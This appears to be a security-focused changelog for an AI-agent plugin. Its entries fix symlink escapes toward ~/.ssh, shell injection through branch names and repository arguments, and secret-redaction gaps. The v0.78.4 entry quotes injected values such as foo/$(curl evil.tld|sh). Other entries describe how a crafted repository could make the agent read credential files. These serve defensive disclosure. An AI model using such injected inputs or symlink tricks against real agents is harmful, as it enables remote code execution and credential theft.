• New Step 2 sub-step 4 — after the shallow clone and before either Read/Glob sub-step runs, git -C "$CHECKOUT_DIR" -c core.quotePath=false ls-files -s | grep '^120000' lists every symlink entry in the checkout's git index; the agent inspects that listing itself and refuses to vendor if any entry is at, under, or an ancestor of <path> — Step 2.5 never runs, no content is read, no overlay write happens. The check deliberately never interpolates the untrusted <path> value into the Bash command line (consistent with this file's existing "never interpolate a path into Bash" rule) — the match happens in the agent's own reasoning over the returned data, not in shell text. The trailing grep '^120000' is a fixed, literal filter (no injection surface of its own) added after this PR's own /ievo:vuln-scan pass on the diff flagged that an unfiltered listing on a large or padded upstream repo could get truncated by the Bash tool before a symlink entry buried in it ever reached the agent, silently defeating the check — filtering to symlink-mode lines bounds the output to the entry count that actually matters, independent of the repo's total file count. Added as template 7 to the file's closed six-template Bash allowlist.
• Match rule covers ancestor symlinks — Eva's own PR review caught that the first cut of sub-step 4 matched only "equals <path> (agent case) or starts with <path> (skill case)", which misses the very attack it blocks. Git indexes a symlinked directory as a single 120000 entry for the directory itself, with no trailing slash and nothing beneath it tracked (git never descends through a symlink), so a repo shipping <plugin>/skills/<name> — or <plugin>/skills, or <plugin> — as a link to ~/.ssh produces one line that neither equals nor starts with <path> = <plugin>/skills/<name>/, and sub-step 6's Glob on $CHECKOUT_DIR/<path> then resolves straight through it into the link target. The rule now normalizes trailing slashes on both sides (the skill case writes <path> with one, the agent case without), compares as /-separated segment lists rather than raw character prefixes (so a sibling like <plugin>/skills/<name>-notes doesn't false-positive), and refuses on equal / under / ancestor. Sub-step 4's own heading and the § Rules "Symlink containment" bullet were re-stated to match. Also documented that grep printing nothing and exiting 1 is the pass case, not a failure to retry or to re-run unfiltered.
• Match rule survives git's own path quoting — Eva's PR review also caught that the listing sub-step 4 reasons over is not raw path bytes. core.quotePath defaults to on, so ls-files -s C-quotes any path holding a byte over 0x7F — wrapping it in double quotes and octal-escaping the byte — and a symlink at evil-plügin/skills/foo therefore prints as the literal "evil-pl\303\274gin/skills/foo", an entry that equals, sits under, and is an ancestor of nothing: all three comparisons miss it and sub-step 6's Glob follows the link, i.e. exactly the bypass this fix exists to close, reachable through a filename. The same default is already documented in deep-review/SKILL.md, which passes -z to its own ls-files for it. Template 7 now carries a fixed -c core.quotePath=false, and the closed-allowlist prose marks that flag (like the trailing grep) as part of the template rather than an added flag. Because double quotes, backslash and control characters stay escaped regardless of that setting — q"dir/bar still returns as "q\"dir/bar", and an embedded newline would split one entry across two apparent lines — the rule additionally fails closed on any still-quoted path (leading "): refuse to vendor and report the same SKIPPED outcome, never unescape and never ignore. Conservative by design (a quoted symlink outside <path> also refuses), and kept cheap by the grep '^120000' filter, which means only symlink entries are ever considered. All quoting behavior above verified against git 2.54.0.
• Step 5 report — new SKIPPED — symlink entry detected outcome, distinct from the existing re-audit SKIPPED — flagged YELLOW|RED outcome: this is a structural containment refusal, not a heuristic verdict, so it offers no "vendor manually" override. Its <owner>/<repo>@<path> pointer gets the same excerpt-containment fencing as the existing re-audit line's pointer, since both interpolate the same untrusted <path> value into a Markdown-rendered report.
• AGENTS.md — § Security model's Bash-allowlist cross-reference updated (six templates for security-auditor.md, now seven for evolution.md).
• Scope — plugins/ievo/agents/evolution.md (the file the issue named) + the mandatory version-bump ceremony below. The same CWE-59 gap also exists in three sibling vendor-fetch paths, none fixed here: commands/update.md's Step 2 sub-steps 4-5 (already tracked as the companion finding #583, filed alongside #582 from the same vuln-scan run), and two more this PR's own /ievo:deep-review pass surfaced — evo/SKILL.md's identical fallback vendor-fetch steps (the "other platforms execute steps inline" path) and security-check/SKILL.md's own "How to fetch files" Step 2, plus init/references/install-protocol.md's "How to fetch the tree" sub-steps 4-5 (the primary /ievo:init install path — it already has a ..-segment containment check on the Glob-returned relative path, but that guards path-traversal in the reported string, not the Read tool following an actual symlink to different content, the same distinction this fix's own rationale draws). The latter three are filed as separate follow-up issues rather than bundled here, mirroring how #583/#584 were filed as independently-scoped, per-file issues from the original vuln-scan run.
• Version — fix: → patch per AGENTS.md's bump table (0.78.10 → 0.78.11). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.10

Fix init/SKILL.md Step 5b's command-injection-prone discover.mjs invocation — closes #567.

• Gap closed (#567) — Step 5b invoked echo '<stack-input-json>' | node discover.mjs --limit 50 --concurrency 8, substituting the Step 5a stack JSON (manifest-derived deps/categories/frameworks, no charset restriction) directly as text inside a single-quoted shell argument. Several supported manifest formats legitimately permit an embedded single quote in a dependency line — e.g. requirements.txt PEP 508 environment markers such as numpy; python_version=='3.9' — which breaks out of the single-quoted argument and hands the remainder to the shell as unquoted syntax (CWE-78), in a session where Step 1's permission check has already pre-approved Bash(gh api*)/Bash(gh search*).
• init/SKILL.md Step 5a/5b — the stack JSON is now written to a fixed path (.ievo/log/discover-stack-input.json) via the Write tool (literal bytes, no shell expansion), then Step 5b invokes discover.mjs --stack-file .ievo/log/discover-stack-input.json instead of piping through echo. discover.mjs already carries --stack-file hardening from #543 (assertStackFileAllowed/assertStackFileReadable: containment to <project>/.ievo/, regular-file-only, 256 KiB cap) — that flag was hardened but never wired into this call site until now. Mirrors the identical fix already applied to evolution_candidates.mjs's --text-file (#523) and the feedback/SKILL.md Step 6 convention this issue itself cited.
• Scope — documentation-only change to the skill's invocation instructions; no script code changes (the hardened --stack-file flag already existed).
• Version — fix: → patch per AGENTS.md's bump table (0.78.9 → 0.78.10). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.9

Close a command-injection gap in commands/vuln-scan.md's default --diff scope resolution — an unvalidated BASE_BRANCH was interpolated into a nested Bash command substitution (CWE-78) — Eva vuln-scan dogfooding finding, #565.

• Gap closed (#565) — the Scope determination block resolved BASE_BRANCH from git symbolic-ref refs/remotes/origin/HEAD, falling back to gh repo view --json defaultBranchRef. Both values are fully controlled by whatever remote origin points at, including a compromised or adversarial fork someone is about to audit with this exact tool. Git's ref-name grammar does not forbid shell metacharacters (backtick, $(), ;, &, |), so an unvalidated default-branch name was live shell syntax the moment it was re-embedded into "$(git merge-base HEAD "origin/$BASE_BRANCH")" — a nested command substitution inside a double-quoted string, with no allowlist check between resolution and use.
• New validation before use — BASE_BRANCH is now checked against the same ref allowlist inspect/SKILL.md Step 1 already uses (^[A-Za-z0-9._/-]+$, no leading -, no ../@{), falling back to main with a warning on failure, before it is ever interpolated into "origin/$BASE_BRANCH".
• Nested substitution split — git merge-base HEAD "refs/remotes/origin/$BASE_BRANCH" now resolves into its own MERGE_BASE variable in a separate statement, only after validation passes, rather than nesting the substitution inline inside the final git diff call.
• Scope — plugins/ievo/commands/vuln-scan.md only; the rest of the diff is the mandatory version-bump ceremony below. No script/test changes — this command is pure Markdown instructions with no code path for node --test to cover.
• Version — fix: → patch per AGENTS.md's bump table (0.78.8 → 0.78.9). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.8

Relocate evolution_candidates.mjs's per-session storage outside the git-worktree-removable tree — Part 1 of 2, closes #564.

• Gap closed (#564) — auto-evolution's per-session candidate accumulator (.ievo/evolution-candidates/<session-id>.jsonl) lived inside the project's own working tree. When a session ran inside a git worktree — a common pattern for isolating a task's branch from the main checkout — removing that worktree (git worktree remove, or a plain rm -rf once the branch merged) deleted the accumulator file with it, silently, before /ievo:evo's next-SessionStart review ever classified the pending candidates. The reporter hit this for real: several genuine corrections (about ScheduleWakeup usage, D-021 preflight, brittle CI checks) were lost this way, caught only because the user happened to ask about them directly.
• Storage relocated to the shared git-common-dir — candidatesDir/sessionFilePath now resolve to <git-common-dir>/ievo/evolution-candidates/<session-id>.jsonl (via git rev-parse --git-common-dir, resolved to an absolute path) whenever projectRoot sits inside a git working tree. From a linked worktree that command already returns the absolute path of the shared .git back in the main checkout — not the worktree's own directory — so a session captured while working in a worktree now survives that worktree's removal. Falls back to the pre-#564 <project>/.ievo/evolution-candidates/ location when projectRoot is not inside a git working tree at all (not a repo, doesn't exist yet, or the git binary itself is unavailable) — every failure mode degrades to the old behavior rather than throwing.
• Migration/fallback for already-accumulated data — rather than a destructive one-time move (partial-copy failure risk, plus the same silent-loss failure mode the fix closes if it fails halfway), listSessions (and therefore countPending/pruneSessions) now merge the current git-common-dir location with the legacy .ievo/evolution-candidates/ location, so data captured before this upgrade keeps surfacing for review. New candidates always append to the git-common-dir location once one is available; a session id present in both (only possible if a project's git-repo status changed mid-session) resolves to the current-location copy.
• Plausibility check on the resolved git-common-dir (CWE-73, /ievo:vuln-scan dogfooding finding on this diff) — git rev-parse --git-common-dir's stdout was otherwise trusted verbatim as a write/delete root with no re-validation, unlike this file's own read-side containment for --text-file (assertTextFileAllowed/assertTextFileReadable, #523). A .git FILE (not the directory git clone itself always creates at a repo's top level) can redirect via a gitdir:/commondir chain to an arbitrary existing directory elsewhere on disk, including one committed as ordinary tracked content inside a repo subdirectory. defaultGetGitCommonDir now requires the resolved directory to actually look like a git dir (HEAD file + objects/refs dirs present) before trusting it, falling back to the legacy location like every other resolution failure this function already degrades on — bounding, though not fully eliminating, the residual risk of a crafted repository redirecting candidate storage to some other real git directory already on the victim's filesystem.
• Tests — new defaultGetGitCommonDir unit suite (injected-spawn branch coverage: throw, falsy result, spawn error, non-zero exit, empty stdout, relative vs. already-absolute --git-common-dir output, plus real-git sanity checks against an actual repo/non-repo/missing directory), candidatesDir/sessionFilePath relocation + fallback cases, listSessions/countPending/pruneSessions merge-across-both-locations and same-session-id-in-both-locations precedence cases — and, as the actual proof this closes #564, a real end-to-end suite that git inits a scratch repo, adds a real git worktree, appends a candidate from inside it through the real CLI, asserts the file lands under the main checkout's .git (not the worktree), deletes the worktree directory, and asserts the candidate is still readable from the main checkout afterward. Every pre-existing test now pins legacy-path behavior via an explicit getGitCommonDir: () => null injection rather than relying on the OS tmpdir happening not to be a git repo, so the suite stays deterministic regardless of host environment.
• Scope — plugins/ievo/scripts/evolution_candidates.mjs + its test suite only, per the operator's explicit "Part 1 only" approval on #564 (core relocation + tests + migration/fallback for existing on-disk data). Part 2 — updating the skills that read or describe the literal .ievo/evolution-candidates/ path (evo-auto-enable, evo, evo-auto-disable, feedback, and confirming whether contributor-mode-on/contributor-mode-off/review-retrospective need touching too) is deliberately held for a follow-up issue once this lands and is verified — those consumers are unaffected by this PR (they shell out to the same accumulator commands rather than reading the directory directly), but their user-facing path descriptions will need updating to stay accurate.
• Version — fix: → patch per AGENTS.md's bump table (0.78.6 → 0.78.8; 0.78.7 was concurrently claimed by an in-flight PR at push time, so this PR takes the next free slot per the race-avoidance convention). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.6

Document file-level sandbox.credentials mask mode (Claude Code v2.1.221, Linux/WSL) in the Sandbox hardening sections — an Eva research proposal, #559.

• Gap closed (#559) — Claude Code v2.1.221 extended sandbox.credentials's "mode": "mask" option, previously documented as an envVars-only capability, to files entries on Linux/WSL: sandboxed commands read a sentinel copy of the file (the whole file, or only the spans an extract regex captures) while the sandbox proxy substitutes the real value on egress; macOS falls back to deny for files masking. security-check/SKILL.md, vuln-scan/SKILL.md, and AGENTS.md § Security model all showed files: [{path, mode: "deny"}] as the only file mode, with mask called out explicitly as envVars-only — stale for operators on Linux/WSL who want a files entry to stay usable by a tool that legitimately needs to authenticate with it, instead of an outright deny block.
• security-check/SKILL.md § "Sandbox hardening" → "Credential reads" — added the files mask note (v2.1.221+, Linux/WSL only) right after the existing envVars mask sentence, plus the macOS deny-fallback caveat.
• vuln-scan/SKILL.md — same addition, mirroring security-check/SKILL.md's wording per the existing cross-file duplication pattern.
• AGENTS.md § Security model — the sandbox.credentials bullet's JSON shape description updated from {files: [{path, mode: "deny"}], ...} to {files: [{path, mode: "deny"|"mask" (mask: Linux/WSL only, v2.1.221+)}], ...}, plus a sentence on the macOS fallback.
• Two fail-open caveats the mask guidance needs (review follow-up, all three files) — (1) settings scope: because a mask entry authorizes the sandbox proxy to send the real credential to the hosts it lists, mask entries, network.tlsTerminate, and credentials.allowPlaintextInject are honored only from user settings (~/.claude/settings.json), managed settings, or --settings, and are ignored in a repository's .claude/settings.json/.claude/settings.local.json — an ignored entry leaves the credential readable rather than blocked, so deny (honored from any scope, and it beats mask for the same credential) stays the right mode for a committed config. (2) onExtractNoMatch defaults to warn: an extract regex that matches nothing warns and skips the entry, leaving the real file readable unmasked — use "deny" or "error" when the secret should always be present.
• Version floor + the other deny fallbacks (review follow-up, all three files) — envVars masking is itself newer than these sections' v2.1.187 baseline (it needs v2.1.199+), so the un-versioned envVars mask mention now carries that floor beside the files mask v2.1.221+ one. And macOS is not the only path back to deny: on any platform mask degrades to deny for an entry Claude Code can't mask safely — a directory path (the example's own ~/.ssh entry is one), a glob pattern, a file over 8 MiB, or a file that isn't UTF-8 text — so mask is a per-file mode and directories stay explicit deny entries.
• Verified independently against the v2.1.221 release notes and the current code.claude.com/docs/en/sandboxing#mask-credential-files page — both match the issue's citation; the two caveats above are quoted from the same page's § "Mask environment variables" / § "Mask credential files".
• Scope — pure documentation; no code path, no new command/flag/frontmatter. The extract-regex sub-feature worked example is left as a documented follow-up (issue's own open question), not blocking this update.
• Version — docs: touches plugins/ievo/** (two SKILL.md files), so the standard bump table applies, not the infra-only exemption; patch bump per AGENTS.md's bump table. 0.78.5 landed via #571 while this PR was in flight, so this PR rebased onto the new main and takes the next free slot (0.78.5 → 0.78.6). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.5

/ievo:evo-auto-enable's SessionStart nudge now detects and warns when the auto-evolution hook wiring has drifted from what .ievo/evo-auto.flag claims — closes #551.

• Gap closed (#551) — .ievo/evo-auto.flag could exist with enabled: true while none of the artifacts the skill installs (.ievo/hooks/scripts/vendor/*.mjs, the three .local.sh companions, the wired .claude/settings.json/.codex/hooks.json entries) were actually on disk — a hand-written flag file, or a /ievo:evo-auto-enable run that died partway through Step 3/3.5. Nothing surfaced the mismatch: not a nudge, not an error, for the length of an entire session, because the flag's mere presence was the only signal anything downstream ever checked. A latent bug in the nudge script made this worse than it looked: a count parse failure hit an early exit 0, so even re-running the (fixed) check would have silently no-opped whenever the accumulator itself was part of the drift.
• Extended evo-analysis-nudge.local.sh (evo-auto-enable/SKILL.md Step 3.5.3) — the existing pending-candidate-count script now also asserts, every SessionStart, that both vendored fallback copies, its sibling .local.sh companions, and the invoking client's own wired hook entries are genuinely present — self-detecting Claude Code vs. Codex via the same ordered $CLAUDECODE/$CODEX_CLI/Codex-Desktop-signal rule as /ievo:init Step 1.5, since the script's content is identical on both platforms and only the wiring target differs. A drift finding names exactly what is missing and points at re-running /ievo:evo-auto-enable (already idempotent and self-healing on every step) to repair it, folded into the same additionalContext channel the pending-count nudge already used — never a blocking error, matching this hook's existing fail-silent, context-only contract (SessionStart cannot block startup on either platform). Also fixed the count-parse-failure bug in the same script: a non-numeric/empty count output now falls back to zero instead of exiting early, so a broken accumulator can no longer mask its own wiring gap.
• The fresh-clone half of the check lives in the tracked shim (evo-auto-enable/SKILL.md Step 3.5.1b) — evo-analysis-nudge.local.sh is gitignored and runs only when the tracked evo-analysis-nudge.sh shim finds it, so the wiring check alone could not reach the very state it exists to report: flag committed, per-clone regeneration never run, companion absent, shim no-ops, whole session silent. The SessionStart shim now emits the drift warning itself when .ievo/evo-auto.flag is present and its companion is not — the one check a gitignored script cannot make about itself — while every richer check stays in the companion, which runs whenever it exists. The companion no longer lists itself among the files it checks for. The other two shims stay bare no-ops: UserPromptSubmit fires on every message, so a warning there would repeat all session.
• Drift wording no longer overstates partial drift — a single missing hook entry still leaves the other capture paths working, so the message reads Capture may be partly or entirely inactive rather than asserting corrections have stopped outright.
• Enable's own functional check re-ordered to match (evo-auto-enable/SKILL.md Steps 3.5.4 + 3.6) — the wired-command dry-run now runs at the end of Step 3.6, joining the companions-on-disk assertion that already ran there; only the JSON re-parse stays in 3.5.4, next to the write it validates. Once the nudge script itself checks the wiring, dry-running evo-analysis-nudge.sh stopped being a 127-probe of one path and became a probe of the whole install — so run from 3.5.4 it reported failure-capture.local.sh and the failure-capture hook entry as drift on every healthy linear enable, because Step 3.6 writes both and had not run yet. Exit stayed 0 (SessionStart cannot block startup), but the enabling agent reads that output, and the step's own rule is "do NOT claim success". Deferring the dry-run — rather than teaching the script to recognise a mid-enable state — keeps it able to report a run that genuinely died between 3.5.4 and 3.6, one of the drift cases #551 is about. The dry-run also now covers all three wired shims, including the failure-capture.sh entry Step 3.6 adds.
• Ask #1 (self-healing on re-run) needed no build — evo-auto-enable/SKILL.md Steps 2–3.6 were already unconditional and idempotent on every invocation (flag refresh, queue, vendored copies, tracked shims, .local.sh companions, hook wiring all rewritten/repaired regardless of prior state); simply re-running the skill already repairs a broken install. Ask #2 ("a way to verify auto-mode is genuinely wired end-to-end") was the real, previously-unaddressed gap this PR closes.
• Tests — new evo-analysis-nudge.local.sh wiring-integrity check (skills#551) describe in evo-auto-hooks-lifecycle.test.mjs, extracting the real (not stand-in) companion script body verbatim from SKILL.md and executing it end-to-end: the exact repro (flag present, nothing else installed), silent on a fully-wired zero-pending project, an ordinary count-only nudge when fully wired with pending candidates, a combined drift-plus-count message when one hook entry is missing, the missing-config-file case, Codex-vs-Claude-Code platform detection (including the $CLAUDECODE+$CODEX_CLI-both-set ordering case), the count-parse-failure regression, and the ASCII/no-double-quotes additionalContext contract. The tracked shim's own half is covered twice: through a real git clone in the existing clean-clone describe (the repro as a user hits it — the flag and the shim arrive tracked, the companion does not) and by a flag-vs-companion check (skills#551) describe isolating its decision table, including that it delegates wholesale when the companion exists rather than prepending a second message. The check re-ordering is pinned from both sides: a behavioural case driving the mid-enable state (Step 3.5 complete, Step 3.6 not) and asserting the drift line names exactly the two artifacts 3.6 writes and nothing 3.5 already wrote, and a structural case in the literals-in-sync describe asserting the dry-run is ordered after the step that writes the last companion — the same shape as the assertion already guarding the companions-on-disk check.
• Scope — plugins/ievo/skills/evo-auto-enable/SKILL.md (Step 3.5.1b's SessionStart shim + Step 3.5.3's script + Steps 3.5.4/3.6's functional-check split + its Step 5 confirmation lines + the ## What auto-evolution mode does contract list) and its test suite; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table (0.78.4 → 0.78.5). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.4

Close a command-injection gap in inspect/SKILL.md Step 1 — the skill's very first action interpolated the raw, unvalidated <owner>/<repo> argument into a Bash gh api command before confirming it named a real repository (CWE-78) — Eva vuln-scan dogfooding finding, #566.

• Gap closed (#566) — Step 1's gh api "repos/<owner>/<repo>" --jq '.default_branch' call built its command line directly from the user-supplied <owner>/<repo> argument, with no charset validation beforehand. Four sibling files in this same plugin (evo/SKILL.md Step 2, security-check/SKILL.md Step 2, index-repos/SKILL.md Step 2, init/references/install-protocol.md) already validate <owner>/<repo> against GitHub's slug charset before their own first gh api repos/<owner>/<repo>... call; inspect/SKILL.md was the one file in the family that omitted it. A crafted argument such as foo/`curl evil.tld|sh` or foo/$(curl evil.tld|sh) is a syntactically legal string for the skill's own input — nothing rejects it until the shell has already resolved the embedded command substitution, at the moment the Bash tool call is constructed for Step 1's very first action, before any later /ievo:security-check review would ever run.
• New validation step at the top of Step 1 — checks <owner> against ^[A-Za-z0-9][A-Za-z0-9-]{0,38}$ and <repo> against ^[A-Za-z0-9._-]{1,100}$ (the same constraint scan_repo.mjs's OWNER_REPO_RE enforces, and identical to the four sibling files), refusing with Repository identifier '<owner>/<repo>' contains invalid characters. and exiting cleanly on failure. Step 2's tree fetch and Step 4a/4b's content fetches all reuse this same validated <owner>/<repo>, so this one check closes every call site in the skill.
• Excerpt-containment bookkeeping kept consistent — since <owner>/<repo> is now charset-validated before Step 1's gh api resolve call, its own 404/403 error messages no longer need the "quotes a still-unvalidated argument" fencing the file previously required for them; that requirement moved to the new validation-failure message itself, the one place <owner>/<repo> now renders before passing the check. § Step 5's "Excerpt containment" exhaustive placeholder list and closing exemptions paragraph updated to match, and the ## Rules section's "never interpolate an unvalidated value" bullet now names <owner>/<repo> alongside <ref>/<path>.
• Scope — plugins/ievo/skills/inspect/SKILL.md only; the rest of the diff is the mandatory version-bump ceremony below. No script/test changes — this skill is pure Markdown instructions with no code path for node --test to cover.
• Version — fix: → patch per AGENTS.md's bump table (0.78.3 → 0.78.4). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.3

Close a redaction gap in scrub.mjs — camelCase credential keys (authToken, clientSecret, refreshToken, accessKeyId, secretAccessKey, …) passed through redactNamedSecrets unredacted because NAME_ALT only recognized underscore-delimited suffixes and bare whole-identifier keywords (CWE-522) — Eva vuln-scan dogfooding finding, #557.

• Gap closed (#557) — NAME_ALT's suffix alternative only fired when the secret-shaped suffix word (TOKEN/KEY/SECRET/PASSWORD/ID) was preceded by a literal underscore, and the bare alternative only on a whole-identifier keyword. A camelCase identifier such as authToken or secretAccessKey has neither shape — there is no \b word boundary between two contiguous word characters like the h/T in authToken — so ASSIGNMENT_RE never matched, and a JS/Node-SDK-shaped config or error dump ({"accessKeyId":"AKIA…","secretAccessKey":"wJalr…"}) reached .ievo/evolution-candidates/<session-id>.jsonl with the secretAccessKey value in cleartext (accessKeyId's AKIA-shaped value was already caught by redactProviderSecrets; the secret half was caught by nothing).
• New camelCase alternative in NAME_ALT — the same suffix words matched as a capitalized word at a lower→upper case transition ((?<=[a-z0-9])(?:Token|Key|Secret|Password|Id)), case-EXACTLY. To make that possible ASSIGNMENT_RE dropped its i flag — under i the case-transition check degenerates and any word whose lowercased tail spells a suffix would match (monkey/turkey via KEY, avoid/grid via ID), the false-positive trap the router analysis flagged on this issue. The previously-case-insensitive snake/bare alternatives keep their exact behavior via per-character [Kk][Ee][Yy]-style classes (Node 18 regexes have no scoped case-sensitivity toggle; (?i:...) modifier groups need V8 12.4+). An uppercase-preceded suffix (APIToken, SSHKey — acronym runs) stays deliberately out of scope: a different identifier grammar with its own false-positive surface, and outside #557's exploit examples. Plain apiKey was and remains covered by the bare APIKEY alternative case-folding the whole identifier. One extra suffix spelling rides along: the ID suffix also matches fully capitalized (SessionID, AccessKeyID — Go's initialisms convention, the AWS Go SDK's own field spelling), found by the pre-PR /ievo:vuln-scan pass on this diff, not by the original #557 report; the lower→upper lookbehind still applies, so UUID stays out.
• NEXT_ASSIGNMENT_LOOKAHEAD inherits the new grammar — it interpolates NAME_ALT, so back-to-back assignments on one line now split independently in camelCase too (authToken=one clientSecret=two), while a lowercase prose word followed by a colon inside a value (PASSWORD=my monkey: is cute) still does not stop the redaction early.
• Tests — new redactNamedSecrets cases pinning the issue's confirmed leaks (authToken/refreshToken/clientSecret, the AWS-SDK-shaped accessKeyId/secretAccessKey JSON pair), PascalCase and digit-transition names (SessionToken, oauth2Token), back-to-back and mixed snake/camel same-line splits, a suffix-not-terminal negative (authTokenValue), and ordinary-word negatives (monkey/turkey/avoid/valid/grid/solid stay untouched); a composite scrub() test pins the issue's exploit shape end-to-end.
• --help text — the assignment-redaction list now names the camelCase equivalents (deep-review precedent from #558: the CLI's own help output must track behavior).
• Scope — plugins/ievo/scripts/scrub.mjs + its test suite; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table (0.78.2 → 0.78.3). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.2

Close a redaction gap in scrub.mjs — Stripe's underscore-delimited API key formats (sk_live_/pk_live_/rk_live_, plus their _test_ counterparts) passed through every scrub stage unredacted (CWE-522) — Eva vuln-scan dogfooding finding, #558.

• Gap closed (#558) — PROVIDER_SECRET_RE (redactProviderSecrets) listed exactly six fixed provider-token shapes: GitHub gh[pousr]_, github_pat_, OpenAI-style sk- (hyphen), Slack xox[abprs]-, AWS AKIA, and JWT eyJ.... Stripe secret/publishable/restricted keys use an underscore after the two-letter prefix (sk_live_51H8xJ2...), not the hyphen the OpenAI alternative requires, so a bare, unlabeled Stripe key quoted in captured tool output (e.g. inside a Stripe error: Invalid API Key provided: sk_live_... message) survived redactProviderSecrets untouched — and none of the later redactNamedSecrets/redactHttpCredentialHeaders/redactUrlCredentials passes caught it either, since none of them trigger on a bare token with no preceding name, header, or URL userinfo.
• Two new alternatives in PROVIDER_SECRET_RE — \b[sp]k_(?:live|test)_[A-Za-z0-9]{16,255}\b (secret/publishable) and \brk_(?:live|test)_[A-Za-z0-9]{16,255}\b (restricted), same 255-char bound the other alternatives use for linear-time matching. Restricted keys cover both rk_live_ and rk_test_ (verified against docs.stripe.com/keys) — the issue's own recommendation named only rk_live_, but Stripe restricted keys have a rk_test_ sandbox variant too, so the fix completes the live/test symmetry already present in the sk/pk alternative rather than leaving the same gap open one prefix over.
• Tests — new redactProviderSecrets cases covering sk_live_/sk_test_/pk_live_/pk_test_ and rk_live_/rk_test_, following the file's existing per-provider-format test style (each format gets its own it(...)).
• --help text — HELP_TEXT's provider list updated to GitHub/OpenAI/Slack/AWS/Stripe tokens (deep-review finding on this PR — the compliance ledger and changelog already named Stripe but the CLI's own help output didn't).
• Scope — plugins/ievo/scripts/scrub.mjs + its test suite; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table; 0.78.1 was independently claimed by PR #560 (#556, merged first), so this PR rebased onto the new main and takes the next free slot (0.78.1 → 0.78.2). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.78.1

security-auditor.md now redacts real secret values before they can reach a public RED-verdict issue — closes #556.

• Gap closed (#556) — security-auditor.md's ## Rules had no instruction to redact a real (non-placeholder) credential/token/key value before quoting it into flags[].excerpt or report_template.body. Since a RED verdict's report_template.body is filed as a public, auto-rendering GitHub issue in the audited candidate's own (often third-party) repo, a real secret encountered during the deep-scan antivirus pass — a hardcoded API key used as a decoy, an accidentally committed credential, a config fixture with a real value — would have been republished verbatim in a permanently archived, publicly indexed location.
• New ## Rules bullet (security-auditor.md) — "Never echo raw secret values", mirroring the near-identical rule already shipped in the sibling agents deep-reviewer.md and vuln-scanner.md: any real credential/token/key value encountered must never appear verbatim in flags[].excerpt or report_template.body — describe the handling pattern and redact the value itself (AKIA****) instead, while still citing file + explanation as evidence. Takes precedence over the existing "Excerpt containment" markdown-fencing note for the secret substring specifically (that note guards a different threat — rendered-content exfiltration via crafted excerpts — and doesn't cover raw secret disclosure): redact the credential value first, then apply the fencing to whatever excerpt text remains.
• Scope — plugins/ievo/agents/security-auditor.md; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table (closes a gap in existing agent instructions, not a new capability); plugin.json, marketplace.json, and the coupled discover.mjs/evolution_candidates.mjs/scrub.mjs SCRIPT_VERSIONs, and the AGENTS.md compliance ledger header updated in lockstep (0.78.0 → 0.78.1).

v0.78.0

Offer to share generally-reusable /ievo:evo lessons upstream, even when they aren't about iEvo itself — closes #554.

• Gap closed (#554) — evo/SKILL.md Step 5.6 already offers a one-time upstream-feedback handoff, but only when a lesson is about iEvo's own behavior. A lesson that is a genuinely general, project-agnostic engineering practice (e.g. "always identify the authoring session/agent in an autonomous agent's PR body") fell into Step 5.6's default "local" bucket and was never offered upstream, even though it would plausibly help any iEvo user — it had to be manually recognized and separately submitted via /ievo:feedback after the fact.
• New Step 5.65 (evo/SKILL.md) — runs only when Step 5.6 classified the lesson local and asked nothing (mutually exclusive with Step 5.6's own offer, so a lesson is never run through both classifiers and at most one upstream-share prompt ever fires per capture). Applies the same conservative, signal-word heuristic style as Step 5.6 — default local, prompt only when the lesson reads as a portable process/engineering practice with no reference to this project's stack, files, or code — and on a hit, offers the identical AskUserQuestion → /ievo:feedback flow-C handoff Step 5.6 already uses, gated by that skill's own public-posting confirmation.
• Delegated-agent mirror (agents/evolution.md Step 4.65) — the same classification, gated the same way off its own Step 4.6, so the offer also reaches captures delegated to the evolution sub-agent (the default path on Claude Code with the plugin installed), not just direct /ievo:evo execution.
• Fixed an adjacent routing gap while wiring the new step in — two of Step 5.6's three exit branches ("local" and the offer's own "Skip" outcome) pointed at "skip straight to Step 6", bypassing Step 5.7's cluster-extraction offer entirely; only the "Share as feedback" branch correctly continued to Step 5.7. This dates to the PR that introduced Step 5.7 (#345), which updated only one of the three branches. Both now route through Step 5.65 → Step 5.7 (local) or directly to Step 5.7 (Skip), matching Step 5.7's own stated "runs on every overlay append" contract.
• feedback/SKILL.md — Step 0's flow-C description and the "two callers" Rules bullet now name both evo trigger points (Step 5.6 and Step 5.65) as the same single caller/contract. Step 7.5's loop-guard condition 1 and its handoff bullet were brought in line too: the flow-C gloss now names every trigger point (evo 5.6 / 5.65, extract-best-practices Phase 5), the forward-loop rationale covers the 5.65 offer, and the stale "evo runs its Steps 1–5.6 unchanged" claim now reads "Steps 1–5.7", naming both escalation offers and the 5.7 cluster-extraction offer.
• Report fields — evo/SKILL.md Step 6 and agents/evolution.md Step 5 both gained a Reusable-practice escalation line alongside the existing Upstream escalation line.
